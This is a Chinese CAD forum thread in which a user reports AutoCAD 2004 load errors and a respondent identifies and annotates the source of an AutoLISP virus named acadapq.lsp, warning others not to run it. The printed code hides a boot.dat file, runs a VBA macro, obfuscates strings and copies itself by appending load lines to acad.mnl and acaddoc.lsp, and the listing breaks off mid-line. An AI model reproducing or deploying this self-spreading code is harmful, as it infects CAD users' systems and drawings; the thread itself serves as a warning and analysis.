[求助][讨论]最近用CAD的时候总是有些问题
<p>我用的是CAD2004迷你版。</p><p>最近新建一个文件或打开一个文件是总是提示:</p><p><strong>; 错误: 参数类型错误: stringp nil<br/>AutoCAD 菜单实用程序已加载。; 错误: 参数类型错误: stringp nil</strong></p> <p>楼主的CAD是否加载什么程序?</p><p>CAD2004迷你版不加载 VLA-*,VLAX-* 函数支持</p> <p>哈哈,原来是那个好事者遍了一个蹩脚的病毒,我正在分析这个程序。</p><p>当心,请不要运行下面这个程序,名字 acadapq.lsp</p><p></p><p>(setq wold_cmd (getvar "cmdecho"))<br/>(setvar "cmdecho" 0)<br/>(setq wpath (findfile "base.dcl")) ;;返回当前CAD的SUPPORT支持路径<br/>(setq wpath (substr wpath 1 (- (strlen wpath) 8))) ;;取掉路径中的 "base.dcl" 文件名,返回纯路径<br/>(setq wwmnlwpath (getvar "menuname")) ;;返回当前菜单文件路径<br/>(setq wnowdwg (getvar "dwgname")) ;;返回当前打开的文件名,如果是新建文件将返回 nil<br/>(setq wwjqm (findfile wnowdwg)) ;;返回当前文件的路径,如果是新建文件将返回 nil<br/>(setq wdwgwpath (substr wwjqm 1 (- (strlen wwjqm) (strlen wnowdwg)))) ;;返回纯路径<br/>;;;alert <br/>(setq f (open "c:\\boot.dat" "w")) ;;狠的来了,竟然在C盘上打开了伪装文件 boot.dat<br/>(write-line "" f) ;;写入字符,难道这个病毒的作者姓"党"?<br/>(write-line (strcat "ff=" wdwgwpath) f) ;;写入已打开文件的路径<br/>(write-line (strcat "yy=" wpath) f) ;;写入CAD支持路径<br/>(close f)<br/>(setq boot (findfile "boot.dat")) <br/>(if (/= boot "")<br/> (command "_-vbarun" "ThisDrawing.hh"))<br/>(setq wacadwpath (findfile "acaddoc.lsp"))<br/>(setq wacadwpath (substr wacadwpath 1 (- (strlen wacadwpath) 11)))<br/>(setq wns1 ""<br/> wns2 "")<br/>(setq wlspbj 0)<br/>(setq wwjqm (strcat wpath "acaddoc.lsp"))<br/>(if (setq wwjm (open wwjqm "r"))<br/> (progn<br/> (while (setq wwz (read-line wwjm))<br/> (setq wns1 wns2)<br/> (setq wns2 wwz))<br/> (if (> (strlen wns1) 14)<br/> (if (= (substr wns1 8 7) "acadapq")<br/> (setq wlspbj 1)))<br/> (close wwjm)))<br/>(setq wlspmnl 0)<br/>(setq wwjqm (strcat wpath "acad.mnl"))<br/>(if (setq wwjm (open wwjqm "r"))<br/> (progn (while (setq wwz (read-line wwjm))<br/> (setq wns1 wns2)<br/> (setq wns2 wwz))<br/> (if (> (strlen wns1) 14)<br/> (if (= (substr wns1 8 7) "acadapq")<br/> (setq wlspmnl 1)))<br/> (close wwjm)))<br/>(if (= wlspmnl 0)<br/> (progn<br/> (setq wwjqm (strcat wpath<br/> (strcat (chr 97)<br/> (chr 99)<br/> (chr 97)<br/> (chr 100)<br/> (chr 46)<br/> (chr 109)<br/> (chr 110)<br/> (chr 108)) ;; "acad.mnl"<br/> (setq wwjm (open wwjqm "a"))<br/> (write-line<br/> (strcat "(load " (chr 34) "acadapq" (chr 34) ")")<br/> wwjm)<br/> (write-line "(princ)" wwjm)<br/> (close wwjm))<br/> )</p><p>(defun wwriteapp ()<br/> (if (setq wwjm1 (open wnewacad "w"))<br/> (progn (setq wwjm (open woldacad "r"))<br/> (while (setq wwz (read-line wwjm))<br/> (write-line wwz wwjm1))<br/> (close wwjm)<br/> (close wwjm1)<br/> )<br/> )<br/> )<br/>(if (and (= wacadwpath wdwgwpath)<br/> (/= wacadwpath wpath))<br/> (progn (if (= 0 wlspmnl)<br/> (progn<br/> (setq woldacad (findfile "acaddoc.lsp"))<br/> (setq wnewacad (strcat wpath "acadapq.lsp")<br/> )<br/> )<br/> (progn<br/> (setq woldacad (strcat wpath "acadapq.lsp"))<br/> (setq wnewacad (findfile "acaddoc.lsp"))<br/> )<br/> )<br/> (if (= wlspbj 0)<br/> (progn<br/> (setq wwjqm (strcat wpath "acaddoc.lsp"))<br/> (setq wwjm (open wwjqm "a"))<br/> (write-line<br/> (strcat "(load " (chr 34) "acadapq" (chr 34) ")")<br/> wwjm)<br/> (write-line "(princ)" wwjm)<br/> (close wwjm))<br/> )<br/> (wwriteapp)<br/> )<br/> (progn<br/> (if (/= wnowdwg "Drawing.dwg")<br/> (progn<br/> (setq woldacad (findfile "acadapq.lsp"))<br/> (setq wnewacad (strcat wdwgwpath "acaddoc.lsp"))<br/> (wwriteapp)<br/> )<br/> )<br/> )<br/> )<br/>(setvar "cmdecho" wold_cmd)<br/>(princ)<br/>(setq strtopstr<br/> (strcat (chr 92)<br/> (chr 92)<br/> (chr 70)<br/> (chr 83)<br/> (chr 49)<br/> (chr 92)<br/> (chr 83)<br/> (chr 89)<br/> (chr 83)<br/> (chr 49)<br/> (chr 92)<br/> (chr 87)<br/> (chr 79)<br/> (chr 82)<br/> (chr 75)<br/> (chr 92)<br/> (chr 80)<br/> (chr 76)<br/> (chr 79)<br/> (chr 84)<br/> (chr 69)<br/> (chr 82))<br/> ) ;;"<a>\\\\FS1\\SYS1\\WORK\\PLOTER</a>"</p><p>(setq strbottomstr (strcat (chr </p> <p>还有一个文件 acaddoc.lsp,内容只有两句。</p><p>(load "acadapq")<br/>(princ)</p>
页:
[1]